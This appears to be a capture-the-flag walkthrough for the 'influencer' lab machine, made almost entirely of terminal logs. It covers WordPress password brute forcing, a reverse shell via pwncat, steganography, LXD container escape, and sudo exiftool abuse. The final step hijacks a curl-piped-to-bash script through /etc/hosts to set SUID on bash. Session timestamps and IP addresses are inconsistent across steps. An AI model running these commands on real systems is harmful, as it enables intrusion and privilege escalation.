1
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# arp-scan -l | grep "08:00:27"
3
192.168.0.109   08:00:27:5f:d9:8d       (Unknown)

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.109
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-12 12:46 EST
4
Nmap scan report for 192.168.0.103
5
Host is up (0.00026s latency).
6
Not shown: 65534 closed tcp ports (conn-refused)
7
PORT     STATE SERVICE VERSION
8
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
9
|_http-title: Apache2 Ubuntu Default Page: It works
10
|_http-server-header: Apache/2.4.52 (Ubuntu)
11
2121/tcp open  ftp     vsftpd 3.0.5
12
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
13
| -rw-r--r--    1 0        0           11113 Jun 09  2023 facebook.jpg
14
| -rw-r--r--    1 0        0           35427 Jun 09  2023 github.jpg
15
| -rw-r--r--    1 0        0           88816 Jun 09  2023 instagram.jpg
16
| -rw-r--r--    1 0        0           27159 Jun 09  2023 linkedin.jpg
17
| -rw-r--r--    1 0        0              28 Jun 08  2023 note.txt
18
|_-rw-r--r--    1 0        0          124263 Jun 09  2023 snapchat.jpg
19
| ftp-syst:
20
|   STAT:
21
| FTP server status:
22
|      Connected to 192.168.0.106
23
|      Logged in as ftp
24
|      TYPE: ASCII
25
|      No session bandwidth limit
26
|      Session timeout in seconds is 300
27
|      Control connection is plain text
28
|      Data connections will be plain text
29
|      At session startup, client count was 4
30
|      vsFTPd 3.0.5 - secure, fast, stable
31
|_End of status
32
Service Info: OS: Unix
33

34
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
35
Nmap done: 1 IP address (1 host up) scanned in 9.06 seconds

1
ftp> mget *
2
mget facebook.jpg [anpqy?]?
3
229 Entering Extended Passive Mode (|||15810|)
4
150 Opening BINARY mode data connection for facebook.jpg (11113 bytes).
5
100% |***************************************************************| 11113       22.93 MiB/s    00:00 ETA
6
226 Transfer complete.
7
11113 bytes received in 00:00 (13.81 MiB/s)
8
mget github.jpg [anpqy?]?
9
229 Entering Extended Passive Mode (|||5962|)
10
150 Opening BINARY mode data connection for github.jpg (35427 bytes).
11
100% |***************************************************************| 35427       53.45 MiB/s    00:00 ETA
12
226 Transfer complete.
13
35427 bytes received in 00:00 (42.07 MiB/s)
14
mget instagram.jpg [anpqy?]?
15
229 Entering Extended Passive Mode (|||12224|)
16
150 Opening BINARY mode data connection for instagram.jpg (88816 bytes).
17
100% |***************************************************************| 88816       63.92 MiB/s    00:00 ETA
18
226 Transfer complete.
19
88816 bytes received in 00:00 (54.68 MiB/s)
20
mget linkedin.jpg [anpqy?]?
21
229 Entering Extended Passive Mode (|||40056|)
22
150 Opening BINARY mode data connection for linkedin.jpg (27159 bytes).
23
100% |***************************************************************| 27159       52.32 MiB/s    00:00 ETA
24
226 Transfer complete.
25
27159 bytes received in 00:00 (38.03 MiB/s)
26
mget note.txt [anpqy?]?
27
229 Entering Extended Passive Mode (|||54131|)
28
150 Opening BINARY mode data connection for note.txt (28 bytes).
29
100% |***************************************************************|    28       54.68 KiB/s    00:00 ETA
30
226 Transfer complete.
31
28 bytes received in 00:00 (30.34 KiB/s)
32
mget snapchat.jpg [anpqy?]?
33
229 Entering Extended Passive Mode (|||51457|)
34
150 Opening BINARY mode data connection for snapchat.jpg (124263 bytes).
35
100% |***************************************************************|   121 KiB   91.58 MiB/s    00:00 ETA
36
226 Transfer complete.
37
124263 bytes received in 00:00 (79.21 MiB/s)

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# cat note.txt
3
- Change wordpress password

1
┌──(root㉿kali)-[/home/kali]
2
└─# dirsearch -u http://192.168.0.109
3
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
4
  from pkg_resources import DistributionNotFound, VersionConflict
5

6
  _|. _ _  _  _  _ _|_    v0.4.3
7
 (_||| _) (/_(_|| (_| )
8

9
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
10

11
Output File: /home/kali/reports/http_192.168.0.103/_26-01-12_12-51-34.txt
12

13
Target: http://192.168.0.103/
14

15
[12:51:34] Starting:
16
[12:51:35] 403 -  278B  - /.ht_wsr.txt
17
[12:51:35] 403 -  278B  - /.htaccess.bak1
18
[12:51:35] 403 -  278B  - /.htaccess.sample
19
[12:51:35] 403 -  278B  - /.htaccess.orig
20
[12:51:35] 403 -  278B  - /.htaccess.save
21
[12:51:35] 403 -  278B  - /.htaccess_extra
22
[12:51:35] 403 -  278B  - /.htaccess_orig
23
[12:51:35] 403 -  278B  - /.htaccess_sc
24
[12:51:35] 403 -  278B  - /.htaccessBAK
25
[12:51:35] 403 -  278B  - /.htaccessOLD2
26
[12:51:35] 403 -  278B  - /.htaccessOLD
27
[12:51:35] 403 -  278B  - /.htm
28
[12:51:35] 403 -  278B  - /.html
29
[12:51:35] 403 -  278B  - /.htpasswd_test
30
[12:51:35] 403 -  278B  - /.htpasswds
31
[12:51:35] 403 -  278B  - /.httr-oauth
32
[12:51:35] 403 -  278B  - /.php
33
[12:51:56] 403 -  278B  - /server-status
34
[12:51:56] 403 -  278B  - /server-status/
35
[12:52:03] 200 -   13KB - /wordpress/
36
[12:52:05] 200 -    2KB - /wordpress/wp-login.php
37

38
Task Completed

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# cupp -i
3
/usr/bin/cupp:146: SyntaxWarning: invalid escape sequence '\ '
4
  print("      \                     # User")
5
/usr/bin/cupp:147: SyntaxWarning: invalid escape sequence '\ '
6
  print("       \   \033[1;31m,__,\033[1;m             # Passwords")
7
/usr/bin/cupp:148: SyntaxWarning: invalid escape sequence '\ '
8
  print("        \  \033[1;31m(\033[1;moo\033[1;31m)____\033[1;m         # Profiler")
9
/usr/bin/cupp:149: SyntaxWarning: invalid escape sequence '\ '
10
  print("           \033[1;31m(__)    )\ \033[1;m  ")
11
 ___________
12
   cupp.py!                 # Common
13
      \                     # User
14
       \   ,__,             # Passwords
15
        \  (oo)____         # Profiler
16
           (__)    )\
17
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
18
                            [ Mebus | https://github.com/Mebus/]
19

20

21
[+] Insert the information about the victim to make a dictionary
22
[+] If you don't know all the info, just hit enter when asked! ;)
23

24
> First Name: luna
25
> Surname: shine
26
> Nickname:
27
> Birthdate (DDMMYYYY): 24061997
28

29

30
> Partners) name:
31
> Partners) nickname:
32
> Partners) birthdate (DDMMYYYY):
33

34

35
> Child's name:
36
> Child's nickname:
37
> Child's birthdate (DDMMYYYY):
38

39

40
> Pet's name:
41
> Company name:
42

43

44
> Do you want to add some key words about the victim? Y/[N]:
45
> Do you want to add special chars at the end of words? Y/[N]:
46
> Do you want to add some random numbers at the end of words? Y/[N]:
47
> Leet mode? (i.e. leet = 1337) Y/[N]:
48

49
[+] Now making a dictionary...
50
[+] Sorting list and removing duplicates...
51
[+] Saving dictionary to luna.txt, counting 2574 words.
52
[+] Now load your pistolero with luna.txt and shoot! Good luck!

1
wpscan --url http://目标/wordpress/

1
wpscan --url http://目标/wordpress/ -e u

1
wpscan --url http://目标/wordpress/ -e p,t

1
wpscan --url http://目标/wordpress/ -e u -P passwords.txt

1
wpscan --url http://目标/wordpress/ -U admin -P passwords.txt

1
┌──(root㉿kali)-[/home/kali]
2
└─# wpscan --url http://192.168.0.109/wordpress
3
_______________________________________________________________
4
         __          _______   _____
5
         \ \        / /  __ \ / ____|
6
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
7
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
8
            \  /\  /  | |     ____) | (__| (_| | | | |
9
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|
10

11
         WordPress Security Scanner by the WPScan Team
12
                         Version 3.8.28
13
       Sponsored by Automattic - https://automattic.com/
14
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
15
_______________________________________________________________
16

17
[+] URL: http://192.168.0.109/wordpress/ [192.168.0.109]
18
[+] Started: Mon Jan 12 23:06:26 2026
19

20
Interesting Finding(s):
21

22
[+] Headers
23
 | Interesting Entry: Server: Apache/2.4.52 (Ubuntu)
24
 | Found By: Headers (Passive Detection)
25
 | Confidence: 100%
26

27
[+] XML-RPC seems to be enabled: http://192.168.0.109/wordpress/xmlrpc.php
28
 | Found By: Direct Access (Aggressive Detection)
29
 | Confidence: 100%
30
 | References:
31
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
32
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
33
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
34
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
35
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
36

37
[+] WordPress readme found: http://192.168.0.109/wordpress/readme.html
38
 | Found By: Direct Access (Aggressive Detection)
39
 | Confidence: 100%
40

41
[+] Upload directory has listing enabled: http://192.168.0.109/wordpress/wp-content/uploads/
42
 | Found By: Direct Access (Aggressive Detection)
43
 | Confidence: 100%
44

45
[+] The external WP-Cron seems to be enabled: http://192.168.0.109/wordpress/wp-cron.php
46
 | Found By: Direct Access (Aggressive Detection)
47
 | Confidence: 60%
48
 | References:
49
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
50
 |  - https://github.com/wpscanteam/wpscan/issues/1299
51

52
[+] WordPress version 6.9 identified (Latest, released on 2025-12-02).
53
 | Found By: Rss Generator (Passive Detection)
54
 |  - http://192.168.0.109/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.9</generator>
55
 |  - http://192.168.0.109/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.9</generator>
56

57
[+] WordPress theme in use: blogarise
58
 | Location: http://192.168.0.109/wordpress/wp-content/themes/blogarise/
59
 | Last Updated: 2026-01-12T00:00:00.000Z
60
 | Readme: http://192.168.0.109/wordpress/wp-content/themes/blogarise/readme.txt
61
 | [!] The version is out of date, the latest version is 1.5.0
62
 | Style URL: http://192.168.0.109/wordpress/wp-content/themes/blogarise/style.css?ver=6.9
63
 | Style Name: BlogArise
64
 | Style URI: https://themeansar.com/free-themes/blogarise/
65
 | Description: BlogArise is a fast, clean, modern-looking Best Responsive News Magazine WordPress theme. The theme ...
66
 | Author: Themeansar
67
 | Author URI: http://themeansar.com
68
 |
69
 | Found By: Css Style In Homepage (Passive Detection)
70
 |
71
 | Version: 0.7 (80% confidence)
72
 | Found By: Style (Passive Detection)
73
 |  - http://192.168.0.109/wordpress/wp-content/themes/blogarise/style.css?ver=6.9, Match: 'Version: 0.7'
74

75
[+] Enumerating All Plugins (via Passive Methods)
76

77
[i] No plugins Found.
78

79
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
80
 Checking Config Backups - Time: 00:00:00 <=============================> (137 / 137) 100.00% Time: 00:00:00
81

82
[i] No Config Backups Found.
83

84
[!] No WPScan API Token given, as a result vulnerability data has not been output.
85
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
86

87
[+] Finished: Mon Jan 12 23:06:29 2026
88
[+] Requests Done: 170
89
[+] Cached Requests: 5
90
[+] Data Sent: 46.919 KB
91
[+] Data Received: 358.4 KB
92
[+] Memory used: 267.211 MB
93
[+] Elapsed time: 00:00:03

1
XML-RPC seems to be enabled
2
http://192.168.0.109/wordpress/xmlrpc.php

1
wpscan --url http://192.168.0.109/wordpress -e u
2
[i] User(s) Identified:
3

4
[+] luna
5
 | Found By: Author Posts - Author Pattern (Passive Detection)
6
 | Confirmed By:
7
 |  Rss Generator (Passive Detection)
8
 |  Wp Json Api (Aggressive Detection)
9
 |   - http://192.168.0.109/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
10
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
11
 |  Login Error Messages (Aggressive Detection)
12

13
[!] No WPScan API Token given, as a result vulnerability data has not been output.
14
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
15

16
[+] Finished: Mon Jan 12 23:07:31 2026
17
[+] Requests Done: 23
18
[+] Cached Requests: 36
19
[+] Data Sent: 6.698 KB
20
[+] Data Received: 84.834 KB
21
[+] Memory used: 187.789 MB
22
[+] Elapsed time: 00:00:02

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# wpscan --url http://192.168.0.109/wordpress -e u -P luna.txt
3
_______________________________________________________________
4
         __          _______   _____
5
         \ \        / /  __ \ / ____|
6
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
7
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
8
            \  /\  /  | |     ____) | (__| (_| | | | |
9
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|
10

11
         WordPress Security Scanner by the WPScan Team
12
                         Version 3.8.28
13
       Sponsored by Automattic - https://automattic.com/
14
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
15
_______________________________________________________________
16

17
[+] URL: http://192.168.0.109/wordpress/ [192.168.0.109]
18
[+] Started: Mon Jan 12 23:10:46 2026
19

20
Interesting Finding(s):
21

22
[+] luna
23
 | Found By: Author Posts - Author Pattern (Passive Detection)
24
 | Confirmed By:
25
 |  Rss Generator (Passive Detection)
26
 |  Wp Json Api (Aggressive Detection)
27
 |   - http://192.168.0.109/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
28
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
29
 |  Login Error Messages (Aggressive Detection)
30

31
[+] Performing password attack on Wp Login against 1 user/s
32
[SUCCESS] - luna / luna_1997
33
Trying luna / luna_1997 Time: 00:00:38 <=============                  > (2120 / 4694) 45.16%  ETA: ??:??:??
34

35
[!] Valid Combinations Found:
36
 | Username: luna, Password: luna_1997
37

38
[!] No WPScan API Token given, as a result vulnerability data has not been output.
39
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
40

41
[+] Finished: Mon Jan 12 23:11:27 2026
42
[+] Requests Done: 2134
43
[+] Cached Requests: 46
44
[+] Data Sent: 762.29 KB
45
[+] Data Received: 14.662 MB
46
[+] Memory used: 205.406 MB
47
[+] Elapsed time: 00:00:41

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# pwncat-cs -lp 8888
3
/root/.pyenv/versions/3.11.9/envs/web/lib/python3.11/site-packages/zodburi/__init__.py:2: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
4
  from pkg_resources import iter_entry_points
5
[01:21:22] Welcome to pwncat 🐈!                                                             __main__.py:164
6
[01:21:24] received connection from 192.168.0.109:50744                                           bind.py:84
7
[01:21:24] 0.0.0.0:8888: upgrading from /usr/bin/dash to /usr/bin/bash                        manager.py:957
8
           192.168.0.109:50744: registered new host w/ db                                     manager.py:957
9
(local) pwncat$ back
10
(remote) www-data@influencer:/$

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# steghide info snapchat.jpg
3
"snapchat.jpg":
4
  format: jpeg
5
  capacity: 5.4 KB
6
Try to get information about embedded data ? (y/n) y
7
Enter passphrase:
8
  embedded file "backup.txt":
9
    size: 44.0 Byte
10
    encrypted: rijndael-128, cbc
11
    compressed: yes
12

13
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
14
└─# steghide extract -sf snapchat.jpg
15

16
Enter passphrase:
17
wrote extracted data to "backup.txt".

1
PASSWORD BACKUP
2
---------------
3

4
u3jkeg97gf

1
(remote) www-data@influencer:/home$ ss -atlp
2
State       Recv-Q      Send-Q           Local Address:Port             Peer Address:Port      Process
3
LISTEN      0           128                  127.0.0.1:1212                  0.0.0.0:*
4
LISTEN      0           32                     0.0.0.0:iprop                 0.0.0.0:*
5
LISTEN      0           80                   127.0.0.1:mysql                 0.0.0.0:*
6
LISTEN      0           4096             127.0.0.53%lo:domain                0.0.0.0:*
7
LISTEN      0           511                          *:http                        *:*
8
(remote) www-data@influencer:/home$ netstat -antlp
9
(Not all processes could be identified, non-owned process info
10
 will not be shown, you would have to be root to see it all.)
11
Active Internet connections (servers and established)
12
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
13
tcp        0      0 0.0.0.0:2121            0.0.0.0:*               LISTEN      -
14
tcp        0      0 127.0.0.1:1212          0.0.0.0:*               LISTEN      -
15
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
16
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
17
tcp        0    284 192.168.0.109:50744     192.168.0.106:8888      ESTABLISHED 12744/sh
18
tcp6       0      0 :::80                   :::*                    LISTEN      -
19
tcp6       1      0 192.168.0.109:80        192.168.0.106:52386     CLOSE_WAIT  -                    *:*
20
www-data@influencer:/home$ nc 0.0.0.0 1212
21
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1

1
(remote) www-data@influencer:/home$ ssh luna@0.0.0.0 -p 1212
2
The authenticity of host '[0.0.0.0]:1212 ([0.0.0.0]:1212)' can't be established.
3
ED25519 key fingerprint is SHA256:uujkDI7HQ0Bk3td/3NfWys9FNY5cbT1zvGvXbluerAk.
4
This key is not known by any other names
5
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6
Could not create directory '/var/www/.ssh' (Permission denied).
7
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
8
luna@0.0.0.0's password:
9
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)
10

11
 * Documentation:  https://help.ubuntu.com
12
 * Management:     https://landscape.canonical.com
13
 * Support:        https://ubuntu.com/advantage
14

15
  System information as of mar 13 ene 2026 06:48:21 UTC
16

17
  System load:  0.080078125        Processes:               123
18
  Usage of /:   54.7% of 11.21GB   Users logged in:         0
19
  Memory usage: 18%                IPv4 address for enp0s3: 192.168.0.109
20
  Swap usage:   0%
21

22

23
El mantenimiento de seguridad expandido para Applications está desactivado
24

25
Se pueden aplicar 0 actualizaciones de forma inmediata.
26

27
Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales.
28
Vea https://ubuntu.com/esm o ejecute «sudo pro status»
29

30

31
The list of available updates is more than a week old.
32
To check for new updates run: sudo apt update
33

34
Last login: Fri Jun  9 10:12:13 2023
35
luna@influencer:~$

1
luna@influencer:~$ sudo -l
2
Matching Defaults entries for luna on influencer:
3
    env_reset, mail_badpass,
4
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
5

6
User luna may run the following commands on influencer:
7
    (juan) NOPASSWD: /usr/bin/exiftool
8
luna@influencer:~$ id
9
uid=1000(luna) gid=1000(luna) groups=1000(luna),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# cd Desktop/tools/lxd-alpine-builder
3

4
┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/lxd-alpine-builder]
5
└─# python -m http.server 8888
6
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
7
192.168.0.109 - - [13/Jan/2026 01:52:22] "GET /alpine-v3.23-x86_64-20260112_0553.tar.gz HTTP/1.1" 200 -

1
luna@influencer:/tmp$ wget http://192.168.0.106:8888/alpine-v3.23-x86_64-20260112_0553.tar.gz
2
--2026-01-13 06:52:32--  http://192.168.0.106:8888/alpine-v3.23-x86_64-20260112_0553.tar.gz
3
Connecting to 192.168.0.106:8888... connected.
4
HTTP request sent, awaiting response... 200 OK
5
Length: 4113983 (3,9M) [application/gzip]
6
Saving to: ‘alpine-v3.23-x86_64-20260112_0553.tar.gz’
7

8
alpine-v3.23-x86_64-202601 100%[========================================>]   3,92M  --.-KB/s    in 0,02s
9

10
2026-01-13 06:52:32 (192 MB/s) - ‘alpine-v3.23-x86_64-20260112_0553.tar.gz’ saved [4113983/4113983]

1
lxd init --auto

1
lxc launch ubuntu:22.04 pwned -c security.privileged=true

1
lxc config device add pwned hostroot disk source=/ path=/mnt/root recursive=true

1
你是：容器内 root
2
/mnt/root = 宿主机的 /

1
root@pwned:/home/juan# cat user.txt
2
goodjobbro
3

4
root@pwned:~# cat rr00t.txt
5
19283712487912

1
luna@influencer:~$ sudo -l
2
Matching Defaults entries for luna on influencer:
3
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
4

5
User luna may run the following commands on influencer:
6
    (juan) NOPASSWD: /usr/bin/exiftool

1
┌──(kalikali)-[~/temp/Influencer]
2
└─$ ssh-keygen -t rsa -f /home/kali/temp/Influencer/juan
3
Generating public/private rsa key pair.
4
Enter passphrase (empty for no passphrase):
5
Enter same passphrase again:
6
Your identification has been saved in /home/kali/temp/Influencer/juan
7
Your public key has been saved in /home/kali/temp/Influencer/juan.pub
8
The key fingerprint is:
9
SHA256:/xMR+gJtJQiy8EhEtszHXYSkcsG5nJDhuiNWojzpqTk kali@kali
10
The key's randomart image is:
11
+---[RSA 3072]----+
12
| oB+ooo+o.       |
13
| *o*o*... . o    |
14
|  BoBo.  . + .   |
15
| . ++   . + .    |
16
|.. .    So . .   |
17
|o.+      .. o    |
18
|==        .. .   |
19
|Eoo        ..    |
20
|++          ..   |
21
+----[SHA256]-----+
22

23
┌──(kalikali)-[~/temp/Influencer]
24
└─$ python3 -m http.server 8888
25
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
26
192.168.0.139 - - [28/Apr/2024 08:22:18] "GET /juan HTTP/1.1" 200 -
27
192.168.0.139 - - [28/Apr/2024 08:22:22] "GET /juan.pub HTTP/1.1" 200 -

1
luna@influencer:/tmp$ wget http://192.168.0.143:8888/juan
2
--2024-04-28 12:22:19--  http://192.168.0.143:8888/juan
3
Connecting to 192.168.0.143:8888... connected.
4
HTTP request sent, awaiting response... 200 OK
5
Length: 2590 (2,5K) [application/octet-stream]
6
Saving to: ‘juan’
7

8
juan                                  100%[=========================================================================>]   2,53K  --.-KB/s    in 0s
9

10
2024-04-28 12:22:19 (276 MB/s) - ‘juan’ saved [2590/2590]
11

12
luna@influencer:/tmp$ wget http://192.168.0.143:8888/juan.pub
13
--2024-04-28 12:22:23--  http://192.168.0.143:8888/juan.pub
14
Connecting to 192.168.0.143:8888... connected.
15
HTTP request sent, awaiting response... 200 OK
16
Length: 563 [application/vnd.exstream-package]
17
Saving to: ‘juan.pub’
18

19
juan.pub                              100%[=========================================================================>]     563  --.-KB/s    in 0s
20

21
2024-04-28 12:22:23 (107 MB/s) - ‘juan.pub’ saved [563/563]
22

23
luna@influencer:/tmp$ mv juan.pub authorized_keys
24
luna@influencer:/tmp$ sudo -u juan exiftool -filename=/home/juan/.ssh/authorized_keys authorized_keys
25
Warning: Error removing old file - authorized_keys
26
    1 directories created
27
    1 image files updated
28
luna@influencer:/tmp$ sudo -u juan exiftool -filename=/home/juan/.ssh/authorized_keys authorized_keys
29
Error: '/home/juan/.ssh/authorized_keys' already exists - authorized_keys
30
    0 image files updated
31
    1 files weren't updated due to errors
32
luna@influencer:/tmp$ chmod 600 juan
33
luna@influencer:/tmp$ ssh juan@0.0.0.0 -p 1212 -i juan
34
The authenticity of host '[0.0.0.0]:1212 ([0.0.0.0]:1212)' can't be established.
35
ED25519 key fingerprint is SHA256:uujkDI7HQ0Bk3td/3NfWys9FNY5cbT1zvGvXbluerAk.
36
This key is not known by any other names
37
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
38
Warning: Permanently added '[0.0.0.0]:1212' (ED25519) to the list of known hosts.
39
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)
40

41
 * Documentation:  https://help.ubuntu.com
42
 * Management:     https://landscape.canonical.com
43
 * Support:        https://ubuntu.com/advantage
44

45
  System information as of dom 28 abr 2024 12:25:44 UTC
46

47
  System load:  0.0                Processes:               128
48
  Usage of /:   55.9% of 11.21GB   Users logged in:         1
49
  Memory usage: 45%                IPv4 address for enp0s3: 192.168.0.139
50
  Swap usage:   0%
51

52
 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
53
   just raised the bar for easy, resilient and secure K8s cluster deployment.
54

55
   https://ubuntu.com/engage/secure-kubernetes-at-the-edge
56

57
El mantenimiento de seguridad expandido para Applications está desactivado
58

59
Se pueden aplicar 0 actualizaciones de forma inmediata.
60

61
Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales.
62
Vea https://ubuntu.com/esm o ejecute «sudo pro status»
63

64
The list of available updates is more than a week old.
65
To check for new updates run: sudo apt update
66

67
The programs included with the Ubuntu system are free software;
68
the exact distribution terms for each program are described in the
69
individual files in /usr/share/doc/*/copyright.
70

71
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
72
applicable law.
73

74
juan@influencer:~$

1
juan@influencer:~$ sudo -l
2
Matching Defaults entries for juan on influencer:
3
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
4

5
User juan may run the following commands on influencer:
6
    (root) NOPASSWD: /bin/bash /home/juan/check.sh
7
juan@influencer:~$ cat /home/juan/check.sh
8
#!/bin/bash
9

10
/usr/bin/curl http://server.hmv/98127651 | /bin/bash

1
juan@influencer:~$ cat /home/juan/check.sh
2
#!/bin/bash
3

4
/usr/bin/curl http://server.hmv/98127651 | /bin/bash

1
juan@influencer:~$ ls -la /etc/hosts
2
-rw-rw-rw- 1 root juan 247 jun  8 23:00 /etc/hosts

1
juan@influencer:~$ cat /etc/hosts
2
127.0.0.1 localhost
3
127.0.1.1 influencer
4

5
# The following lines are desirable for IPv6 capable hosts
6
::1     ip6-localhost ip6-loopback
7
fe00::0 ip6-localnet
8
ff00::0 ip6-mcastprefix
9
ff02::1 ip6-allnodes
10
ff02::2 ip6-allrouters
11

12
#127.0.0.1 server.hmv
13
192.168.1.86 server.hmv

1
kali@kali:~/Desktop$ cat 98127651
2
chmod +s /bin/bash
3

4
kali@kali:~/Desktop$ python3 -m http.server 80
5
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

1
juan@influencer:~$ sudo /bin/bash /home/juan/check.sh
2
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
3
                                 Dload  Upload   Total   Spent    Left  Speed
4
100    19  100    19    0     0    606      0 --:--:-- --:--:-- --:--:--   612
5
juan@influencer:~$ ls -la /bin/bash
6
-rwsr-sr-x 1 root root 1396520 ene  6  2022 /bin/bash
7
juan@influencer:~$ bash -p
8
bash-5.1# whoami
9
root
10
bash-5.1# :)